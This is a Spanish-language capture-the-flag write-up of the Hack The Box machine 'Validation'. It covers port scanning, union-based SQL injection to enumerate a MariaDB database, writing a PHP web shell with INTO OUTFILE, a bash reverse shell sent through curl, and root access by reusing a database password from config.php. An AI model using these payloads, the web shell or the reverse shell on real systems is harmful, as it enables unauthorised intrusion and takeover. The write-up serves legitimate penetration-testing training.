Inicio HTB - Validation
Entrada
Cancelar

HTB - Validation

Veremos las siguientes técnicas a lo largo de la resolución:

  1. SQLI (Error Based).
  2. SQLI - RCE (into outfile).
  3. Information Leakage.

Reconocimiento

Comprobacion conexion y TTL

Realizamos un ping a la maquina victima para comprobar que tenemos traza ICMP y averiguar el S.O mediante el TTL:

1
ping -c 1 10.10.11.116
  • -c Cantidad de paquetes que queremos enviar.
S.OLinuxWindows
TTL>64>128

Escaneo de puertos

Utilizaremos nmap para escanear todos los puertos que tiene abiertos la maquina victima

1
2
3
4
5
6
7
w0lfst@h4cknet:~$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.116 -oG "allPorts"

# Nmap 7.92 scan initiated Thu Feb  3 23:00:50 2022 as: nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn -oG allPorts 10.10.11.116
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.116 () Status: Up
Host: 10.10.11.116 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 4566/open/tcp//kwtc///, 8080/open/tcp//http-proxy///
# Nmap done at Thu Feb  3 23:01:00 2022 -- 1 IP address (1 host up) scanned in 10.23 seconds

En mis apuntes encontraras mas detalladamente que hace cada parametro del comando.

Escaneo servicios que corren cada puerto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
w0lfst@h4cknet:~$ nmap -sCV -p22,80,4566,8080 10.10.11.116 -oN targeted

# Nmap 7.92 scan initiated Thu Feb  3 23:07:55 2022 as: nmap -sCV -p22,80,4566,8080 -oN targeted 10.10.11.116
Nmap scan report for 10.10.11.116
Host is up (0.043s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.48 (Debian)
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb  3 23:08:22 2022 -- 1 IP address (1 host up) scanned in 26.85 seconds
PuertoServicioVersion
22sshOpenSSH 8.2p1
80httpApache httpd 2.4.48
4566kwtcnginx
8080httpnginx

Analizando puerto 80

1
2
w0lfst@h4cknet:~$ whatweb http://10.10.11.116
http://10.10.11.116 [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[10.10.11.116], JQuery, PHP[7.4.23], Script, X-Powered-By[PHP/7.4.23]

En la web encontramos un registro que nos pide nuestro usuario y el país, podemos añadir todo lo que queramos.

Probamos inyecciones en el campo username:

TipoInyección
HTML<h1>Hola</h1>
XSS<script>alert("hola")</script>

Funcionan todas pero no podemos hacer nada porque no hay ningún tipo de autenticación.
Probamos también inyección sql admin' pero no vemos nada. Asi que utilizaremos BurpSuite para inyectar sql en el campo del país.

Inyeccion SQLi

Burpsuite

Abrimos Burpsuite e interceptamos la petición. Pulsamos CTRL + R para enviarla al repeater.

Probamos las siguientes inyecciones:

SQLiRespuesta
username=admin&country=Brazil' union select 1-- -1
username=admin&country=Brazil' union select database()-- -registration
username=admin&country=Brazil' union select version()-- -10.5.11-MariaDB-1

Vamos a ver las bases de datos que hay en el servidor:

1
username=admin&country=Brazil' union select schema_name from information_schema.schemata-- -

Nos reporta las siguientes bases de datos:

  • information_schema
  • performance_schema
  • mysql
  • registration

Veamos que encontramos en la base de datos registration:

UtilidadSQLiRespuesta
Tablasusername=admin&country=Brazil' union select table_name from information_schema.tables where table_schema="registration"-- -registration
Columnasusername=admin&country=Brazil' union select column_name from informaction_shema.columns where table_schema="registration" and table_name="registration"-- -username, userhash, country, regtime
Enumeraciónusername=admin&country=Brazil' union select group_concat(username,0x3a,userhash) from registration-- -admin:212321297a57a5a743894a0e4a801fc3

Esto no servirá ya que son usuarios que hemos añadido nosotros anteriormente. Asi que probaremos a depositar archivos con SQLi.

1
username=admin&country=Brazil' union select "probando" into outfile "/var/www/html/prueba.txt"-- -

Vamos a http://10.10.11.116/prueba.txt y nos mostrara lo que hemos escrito “probando”. Ahora introduciremos código php para poder ejecutar comandos remotamente.

1
username=admin&country=Brazil' union select "<?php system($_REQUEST['cmd']);?>" into outfile "/var/www/html/w0lfst.php"-- -

Ponemos la siguiente url http://10.10.11.116/w0lfst.php?cmd=whoami y nos responderá con el nombre usuario “www-data”. Con esto, confirmamos que podemos ejecutar comandos de manera remota.

Acceso

Obtener acceso remoto.

Nos ponemos en escucha por el puerto que queramos, por ejemplo, 8080:

1
nc -nvlp 8080

Lanzamos un curl:

1
curl 10.10.11.116/w0lfst.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/tu-ip/tu-puerto 0>&1"'

En la ventana que hemos ejecutado el nc -nvlp 8080 recibiremos una terminal. Vamos a hacer un tratamiento de la tty.

1
2
3
4
5
6
7
8
9
10
www-data@validation:/var/www/html:~$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@validation:/var/www/html$ ^Z
[1]+  Stopped                 nc -nvlp 8080
w0lfst@h4cknet:~$ stty raw -echo; fg
nc -nvlp 8080
            reset xterm
www-data@validation:/var/www/html:~$ export TERM=xterm
www-data@validation:/var/www/html:~$ export SHELL=bash
www-data@validation:/var/www/html:~$ stty rows X colums X  

En x ponemos el numero que te corresponda según tu terminal. Para saber como ver tu tamaño mira esto.

En /home/htb/user.txt vemos la flag de usuario.

Escalada de privilegios

Analizamos que archivos hay en /var/www/html y encontramos un config.php:

1
2
3
4
5
6
7
8
9
www-data@validation:/var/www/html:~$ cat config.php
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

Encontramos una contraseña uhc-9qual-global-pw. Vamos a probar si funciona con el usuario root:

1
2
3
www-data@validation:/var/www/html$ su root
Password: 
root@validation:~#

La contraseña es valida. Visualizamos la flag de root.txt y ya estaría todo!!

Exploits y contenido: En mi github encontraras el script autopwn.py y los archivos de reconocimiento.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.